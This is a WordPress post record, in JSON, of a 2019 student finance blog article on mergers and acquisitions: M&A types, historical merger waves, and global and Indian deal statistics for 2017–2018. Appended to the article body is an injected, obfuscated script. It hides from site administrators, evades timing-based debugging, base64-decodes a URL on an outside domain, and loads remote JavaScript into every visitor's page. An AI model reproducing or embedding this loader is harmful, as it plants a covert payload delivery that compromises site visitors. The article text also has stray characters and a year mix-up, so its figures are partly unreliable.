{"id":4722,"date":"2019-01-11T10:00:42","date_gmt":"2019-01-11T04:30:42","guid":{"rendered":"http:\/\/tapmi.finance\/?p=4722"},"modified":"2026-05-26T21:19:58","modified_gmt":"2026-05-26T20:19:58","slug":"mergers-and-acquisitions-the-game-of-consolidation","status":"publish","type":"post","link":"https:\/\/tapmi.finance\/index.php\/2019\/01\/11\/mergers-and-acquisitions-the-game-of-consolidation\/","title":{"rendered":"MERGERS AND ACQUISITIONS: THE GAME OF CONSOLIDATION"},"content":{"rendered":"\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/tjef-story-4.png\" alt=\"\" class=\"wp-image-4737\" \/><\/figure>\n\n\n\n<p><strong>A merger is a concoction of two companies to form a single entity where both assets and liabilities are merged together.<\/strong><\/p>\n\n\n\n<p><strong>In an <\/strong><strong>acquisition<\/strong><strong>, one company \u201c<\/strong><strong>takes over<\/strong><strong>\u201d another company where assets and liabilities of the acquired company\nbecome part of the \u201cacquirer\u201d company.<\/strong><strong><\/strong><\/p>\n\n\n\n<p><strong>There are 4 different types of\nM&amp;A:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>Horizontal: <\/strong><strong>Horizontal M&amp;A happens between\ncompanies engaged in the <\/strong><strong>same business activity<\/strong><strong> and <\/strong><strong>competing<\/strong><strong> with each other. e.g., <\/strong><strong>HP-Compaq, Arcelor-Mittal<\/strong><strong>, etc.<\/strong><strong><\/strong><\/li><\/ol>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Vertical:&nbsp; <\/strong><strong>Vertical<\/strong><strong> <\/strong><strong>M&amp;A happen between companies\nengaged in different segments of a product value chain so as to integrate the\nentire value chain. e.g., <\/strong><strong>Reliance Industries Limited (RIL)-Reliance\nPetroleum Industries (RPL)<\/strong><strong>.<\/strong><strong><\/strong><\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Concentric: <\/strong><strong>It happens when two companies\noperate in <\/strong><strong>complementary industries <\/strong><strong>and their products are used by the\nsame\/similar customers. e.g., <\/strong><strong>Sony- Columbia Pictures<\/strong><strong>.<\/strong><strong><\/strong><\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Conglomerate: <\/strong><strong>Conglomerates arise when companies\nthat are in <\/strong><strong>diversified industries<\/strong><strong> with no <\/strong><strong>visible synergy<\/strong><strong> merge with one another. The\nbusiness of the target company is entirely different from the acquiring\/merging\ncompany. E.g., <\/strong><strong>ITC Bhadrachalan-ITC<\/strong><strong>.<\/strong><strong><\/strong><\/li><\/ul>\n\n\n\n<p><strong>History of Merger Waves:<\/strong><\/p>\n\n\n\n<p><strong>In the past century, M&amp;A activities have manifested a clustered\npattern which is delineated as a wave and they betide in a burst interspersed\nwith relative inactivity.<\/strong><strong>&nbsp; There were six radical\nM&amp;A waves. Premiere <\/strong><strong>four<\/strong><strong> transpired between <\/strong><strong>1897<\/strong><strong> and <\/strong><strong>1904<\/strong><strong>, <\/strong><strong>1916<\/strong><strong> and <\/strong><strong>1929<\/strong><strong>, <\/strong><strong>1965<\/strong><strong> and <\/strong><strong>1969<\/strong><strong>, and <\/strong><strong>1984<\/strong><strong> and <\/strong><strong>1989<\/strong><strong>. <\/strong><\/p>\n\n\n\n<p><strong>The <\/strong><strong>first merger wave<\/strong><strong> betided after the protracted depression\nof <\/strong><strong>1873<\/strong><strong>&#8211;<\/strong><strong>1883<\/strong><strong>, culminated between <\/strong><strong>1898<\/strong><strong> and <\/strong><strong>1902<\/strong><strong>, and concluded in <\/strong><strong>1904<\/strong><strong>.<\/strong><strong>F<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig1.png\" alt=\"\" class=\"wp-image-4743\" \/><\/figure>\n\n\n\n<p><strong>Source: <em>Merill Lynch Business Brokerage and Valuation, Mergerstat Review,1989<\/em><\/strong><\/p>\n\n\n\n<p><strong>During the <\/strong><strong>second merger wave<\/strong><strong> <\/strong><strong>(1916-1929)<\/strong><strong>, <\/strong><strong>multifarious\nindustries were consolidated. George Stigler, the late Nobel prize-winning\neconomist, contrasted the first and second merger wave as \u201cmerging for\nmonopoly\u201d versus \u201cmerging for oligopoly.\u201d Throughout the duration of this\nperiod, the American economy perpetuated to metamorphose and transmogrify, predominately\nbecause of the post\u2013World War I economic boom, which proffered copious\ninvestment capital for fervently interluding securities markets.<\/strong><\/p>\n\n\n\n<p><strong>The third merger wave (1965-1969) attributed a historically extortionate magnitude of merger activity. These years were often known as the conglomerate merger period as it was recurrent for proportionately smaller firms to target larger companies for acquisition. In contrast, during the two earlier waves, a majority of the target firms were significantly miniscule than the acquiring firms.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig2-2.png\" alt=\"\" class=\"wp-image-4751\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig3.png\" alt=\"\" class=\"wp-image-4753\" \/><\/figure>\n\n\n\n<p><strong>Source: <em>Merill Lynch Business Brokerage and Valuation, Mergerstat Review,1989<\/em><\/strong><\/p>\n\n\n\n<p><strong>The sui\ngeneris trait of the fourth wave\n(1984-1989)<\/strong><strong> lies in the conspicuous role of hostile\nmergers. The downward trend that characterized M&amp;As in the 1970s<\/strong><strong> through 1980<\/strong><strong> back-pedalled<\/strong><strong> keenly\nin 1981<\/strong><strong>.\nAlthough the rapidity of mergers decelerated again in 1982<\/strong><strong> as the economy grew frail,\na brawny merger wave had taken hold by 1984<\/strong><strong>.<\/strong><\/p>\n\n\n\n<p><strong>Commencing in 1992(Fifth wave, 1992-2000), the number of M&amp;As once again began to ameliorate. The prodigious deals, some similar in quantum to those that transpired in the fourth merger wave, emerged to eventuate afresh. During the 1990s, the U.S. economy entered into its longest post-war augmentation and companies reacted to the proliferated assemblage demand by pursuing M&amp;As. <\/strong><\/p>\n\n\n\n<p><strong>The Sixth Merger Wave (2003-2008) <\/strong><strong>took\nplace on the heels of the recovery period of the dotcom bubble. <\/strong><strong>Globalization, private equity,\nand shareholder activism were the pivotal proclivity that defines the sixth\nwave.<\/strong><\/p>\n\n\n\n<p><strong>Global M&amp;A deals and Rationale behind deals<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig4.png\" alt=\"\" class=\"wp-image-4754\" \/><\/figure>\n\n\n\n<p><strong>Recently one of the strategic drivers of M&amp;A deals has been acquiring technology assets. 20% of deals cite the acquisition of technological assets as the cardinal impetus behind deals, up from 6% in the spring of 2016. <\/strong><\/p>\n\n\n\n<p><strong>The proliferation\nof customer bases in existing markets, and also an inclusion to product\nofferings or diversification of services, rank as the next two strategic\nimperatives.<\/strong><\/p>\n\n\n\n<p><strong>Two other\nconsequential drivers that corporate respondents cite as a raison d\u2019etre behind\ndeal-making are:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>Digital strategy, a new response option for what is driving deals, ranked number four in importance, with 12% citing it as the most important driver. <\/strong><\/li><li><strong>Acquisition of talent has more than doubled in importance from the spring of 2016, increasing from 4% to 9%.<\/strong><\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig5.png\" alt=\"\" class=\"wp-image-4755\" \/><\/figure>\n\n\n\n<p><strong>The prime influencers behind the deals in 2017 are:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>One of the key influences on global M&amp;A activity\nin 2017 was a significant 62%<\/strong><strong> plummet in Chinese<\/strong><strong> investment in Europe<\/strong><strong> and the US<\/strong><strong> (the 2 biggest M&amp;A\nmarkets), as compared to the record-breaking levels reached in 2016.<\/strong><strong><\/strong><\/li><\/ol>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Private equity<\/strong><strong> played its part in shaping the M&amp;A landscape in 2017 showing the\nhighest buyout value since 2007 and also the highest exit value on record. <\/strong><\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Brexit has continued to have an impact on M&amp;As both in the UK and overseas. The depressed value of the Sterling has promoted an uptick in inbound M&amp;As in the UK, resulting in the highest level on record in 2017.<\/strong><\/li><li><\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig6.png\" alt=\"\" class=\"wp-image-4765\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig7.png\" alt=\"\" class=\"wp-image-4767\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig8.png\" alt=\"\" class=\"wp-image-4769\" \/><\/figure>\n\n\n\n<p><strong>F<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig9.png\" alt=\"\" class=\"wp-image-4770\" \/><\/figure>\n\n\n\n<p><strong>Global M&amp;A have had a positive start in the first quarter of 2018 with deal value ameliorating to $1.2trillion in value. U.S. tax reforms and faster economic growth in European countries unbridled many companies\u2019 deal making instinct.<\/strong><\/p>\n\n\n\n<p><strong>Swelling <\/strong><strong>cash coffers<\/strong><strong> and <\/strong><strong>hefty debt and equity\nmarkets<\/strong><strong>\nsuccoured to boost the confidence of chief executives and convince them that\nnow was a good time to pursue transformative mergers.<\/strong> <strong>F<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig10.png\" alt=\"\" class=\"wp-image-4778\" \/><\/figure>\n\n\n\n<p><strong>According to Thomson Reuters data, though the number of deals globally plummeted by 10% to 10,338 y-o-y in the first quarter of 2018, the value of the deals burgeoned by 67% on y-o-y basis.<\/strong><\/p>\n\n\n\n<p><strong>Brobdingnagian deals that consummated\n<\/strong><strong>in the 1<sup>st<\/sup> quarter of 2018 were those of U.S. health\ninsurer Cigna Corp&#8217;s $67 billion<\/strong><strong> deal to acquire U.S. pharmacy chain Express\nScripts Holding Co,<\/strong><strong> and German utility E.ON SE<\/strong><strong>&#8216;s $38.5 billion deal to\nacquire RWE AG<\/strong><strong>&#8216;s renewable energy business Innogy SE. <\/strong><strong>In the first quarter of 2018,\nM&amp;A volumes ameliorated by <\/strong><strong>67%<\/strong><strong> in the US, <\/strong><strong>11%<\/strong><strong> in Asia and almost doubled in\nEurope. <\/strong><\/p>\n\n\n\n<p><strong>The two largest proposed deals this year are the <\/strong><strong>$65billion<\/strong><strong> deal of <\/strong><strong>Disney<\/strong><strong> to acquire <\/strong><strong>Fox<\/strong><strong> and the <\/strong><strong>$85.4billion<\/strong><strong> deal of <\/strong><strong>AT&amp;T<\/strong><strong> to buy <\/strong><strong>Time Warner<\/strong><strong>.<\/strong><strong><\/strong><\/p>\n\n\n\n<p><strong>M&amp;A Consolidation Game in\nIndian Context<\/strong><\/p>\n\n\n\n<p><strong>Indian M&amp;A\nended the year 2017 on an optimistic note with <\/strong><strong>1,022<\/strong><strong> deals clocking a disclosed value of US$46.8\nbillion. While the deal volume attained a record acme (as compared to <\/strong><strong>895<\/strong><strong> deals in <\/strong><strong>2016<\/strong><strong>) since <\/strong><strong>2010<\/strong><strong>, the deal value was lower by <\/strong><strong>12%<\/strong><strong> from <\/strong><strong>US$53.2<\/strong><strong> billion in <\/strong><strong>2017<\/strong><strong>. Deals aimed at market proliferation and\nentry into new untapped markets, digital disruption and sector convergence,\nwere the cardinal drivers of deal-making during the year. <\/strong><\/p>\n\n\n\n<p><strong>The amelioration\nin deal count can be largely attributed to the powerful deal activity in the\ndomestic arena throughout the year, showcasing the preference of the local\nmarket for businesses, driven by a stable economy and optimistic deal market\nfundamentals. The year 2017 fared well on the value front as well as with the\nyearly performance, which was in line with the median average of the previous\nfew years. Keeping in mind 2016s outstanding activity in value terms, the\ndecline in deal value during 2017 can be primarily attributed to a fewer number\nof big-ticket deals (<\/strong><strong>US$500\nmillion<\/strong><strong> and above). The year 2017 recorded <\/strong><strong>13<\/strong><strong> big-ticket deals as compared to <\/strong><strong>21<\/strong><strong> in 2016. Also, other factors such as the\nuncertainty resulting from <\/strong><strong>GST\nimplementation<\/strong><strong> and the <\/strong><strong>lagged effects of demonetization<\/strong><strong>, <\/strong><strong>heightened intensity of diligence<\/strong><strong> in multiple\nareas and <\/strong><strong>delays in approval\nprocesses<\/strong><strong> also had an unfavourable impact on deal timelines.<\/strong><\/p>\n\n\n\n<p><strong>Domestic deals continued to predominate the Indian\nM&amp;A landscape, as home grown companies preferred inorganic route to achieve\ngrowth<a>. In terms of volume, 2017 saw <\/a><\/strong><strong>682<\/strong><strong> <\/strong><strong>deals<\/strong><strong> accounting for around <\/strong><strong>67%\nof the gross deal volume<\/strong><strong>.<\/strong><strong> The\ndomestic deal value stood at <\/strong><strong>US$37.9 billion<\/strong><strong>, <\/strong><strong>constituting for more than <\/strong><strong>3\/4<sup>th<\/sup><\/strong><strong> of the total\ndisclosed value, a first time phenomenon ever in the Indian M&amp;A deal\nmarket. Interestingly, <\/strong><strong>127<\/strong><strong> deals\n(totalling <\/strong><strong>US$10 billion<\/strong><strong>) out of the\ntotal domestic deals were restructuring in nature, constituting around <\/strong><strong>19%<\/strong><strong> of the domestic deal volume and <\/strong><strong>27% of the deal value<\/strong><strong>. The local\nM&amp;A market saw <\/strong><strong>US$3\nbillion<\/strong><strong> plus deals during the year, totalling <\/strong><strong>US$5.3 billion<\/strong><strong>.<\/strong><\/p>\n\n\n\n<p><strong>Indian Companies- M&amp;A deals<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig11.png\" alt=\"\" class=\"wp-image-4780\" \/><\/figure>\n\n\n\n<p><strong><em>Source: Capital IQ,\nBloomberg, PwC Analysis<\/em><\/strong><\/p>\n\n\n\n<p><strong>\u00a0BSE 500 Companies- M&amp;A deals<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig12.png\" alt=\"\" class=\"wp-image-4781\" \/><\/figure>\n\n\n\n<p><strong><em>Source: Capital IQ,\nBloomberg, PwC Analysis<\/em><\/strong><\/p>\n\n\n\n<p><strong>Overall and BSE500 deal multiples<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig13.png\" alt=\"\" class=\"wp-image-4784\" \/><\/figure>\n\n\n\n<p><strong><em>Source: Capital IQ,\nBloomberg, PwC Analysis<\/em><\/strong><\/p>\n\n\n\n<p><a><strong>More than 2\/3<sup>rd<\/sup> of BSE500 companies have\npursued M&amp;As during this FY10-18 and some of them made colossal bets on a\nfew large targets whereas others are either selective or prolific acquirers.<\/strong><\/a><strong>\n<\/strong><strong>This sets of\nsurviving companies can be further classified into 4 categories:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>Opportunistic Acquirers<\/strong><strong> (less than 5 acquisitions \u2013 50% of companies)<\/strong><\/li><li><strong>Habitual Acquirers<\/strong><strong> (more than 5 acquisitions \u2013 15% of companies)<\/strong><\/li><li><strong>Transformative Acquirers<\/strong><strong> (at least 1 Large deal [<\/strong><strong>defined as marquee deals in each\nsector and deals with sizes greater than the average deal size]<\/strong><strong>\u2013 3% of companies)<\/strong><\/li><li><strong>Organic Growers<\/strong><strong> (no M&amp;A activity \u2013 30% of companies)<\/strong><\/li><\/ol>\n\n\n\n<p><strong>BSE 500 EBITDA%<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig14.png\" alt=\"\" class=\"wp-image-4786\" \/><\/figure>\n\n\n\n<p><strong><em>Source: Capital IQ,\nBloomberg, PwC Analysis<\/em><\/strong><\/p>\n\n\n\n<p><strong>Sector wise Total Shareholder Return<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig15.png\" alt=\"\" class=\"wp-image-4787\" \/><\/figure>\n\n\n\n<p><strong><em>Source: Capital IQ,\nBloomberg, PwC Analysis<\/em><\/strong><\/p>\n\n\n\n<p><strong>The Domestic destination is the most preferred destination with 7 deals contributing around 60% of the total deal volumes in 2017. Out of these 7 deals, 2 of the deals are merger (Vodafone India \u2013 Idea Cellular &amp; Bharat Financial Inclusion Limited \u2013 IndusInd Bank Limited). <a>The 2<sup>nd<\/sup> largest deal of this year has been the 51% stake-purchase of ONGC in BPCL. <\/a><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig17-1.png\" alt=\"\" class=\"wp-image-4798\" width=\"595\" height=\"278\" \/><\/figure>\n\n\n\n<p><strong><em>Source: EY analysis of Thomson ONE data<\/em><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/fig18.png\" alt=\"\" class=\"wp-image-4799\" width=\"592\" height=\"286\" \/><\/figure>\n\n\n\n<p><strong><em>Source: EY analysis of Thomson ONE data<\/em><\/strong><strong><em><\/em><\/strong><\/p>\n\n\n\n<p><strong>Conclusion:<\/strong><\/p>\n\n\n\n<p><strong>The years 2016 and 2017\nhave been the most promising years for M&amp;As and looking into 2018, we can\nconclude that this year has been as promising as the previous two years<\/strong><strong>. Recent global political turmoil,\nregulatory and policy changes by different nations are responsible for certain\ndisruptions of macroeconomic parameters, which have been the pivotal impetus\nbehind the deals.<\/strong><\/p>\n\n\n\n<p><strong>Reference:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Value creation: Laying the foundation for\nmergers and acquisitions.&nbsp;PwC Report,&nbsp;2018.<\/li><li>Transactions\nAnnual Highlights\nof 2017 and outlook for 2018, EY, 2018<\/li><li>Smita\nKashiramka and N V Muralidhar\nRao, Shareholders Wealth Effects\nof Mergers and Acquisitions on Acquiring Firms in the Indian IT and ITeS Sector<\/li><li>Xin\nXU1, Yong-jin LIANG, Shun-lin SONG, What Drives Mergers &amp;\nAcquisitions Waves of Listed Companies of The Chinext Market? IPO\nOver-Financing or Stock Overvaluation, 2018<\/li><li>David\nR. King, Svante Schriber, Addressing Competitive Responses to Acquisitions,\n2016<strong><\/strong><\/li><\/ol>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>A merger is a concoction of two companies to form a single entity where both assets and liabilities are merged together. In an acquisition, one company \u201ctakes over\u201d another company where assets and liabilities of the acquired company become part of the \u201cacquirer\u201d company. There are 4 different types of M&amp;A: Horizontal: Horizontal M&amp;A happens [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4722","post","type-post","status-publish","format-standard","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/4722","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/comments?post=4722"}],"version-history":[{"count":1,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/4722\/revisions"}],"predecessor-version":[{"id":16641,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/4722\/revisions\/16641"}],"wp:attachment":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/media?parent=4722"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/categories?post=4722"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/tags?post=4722"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}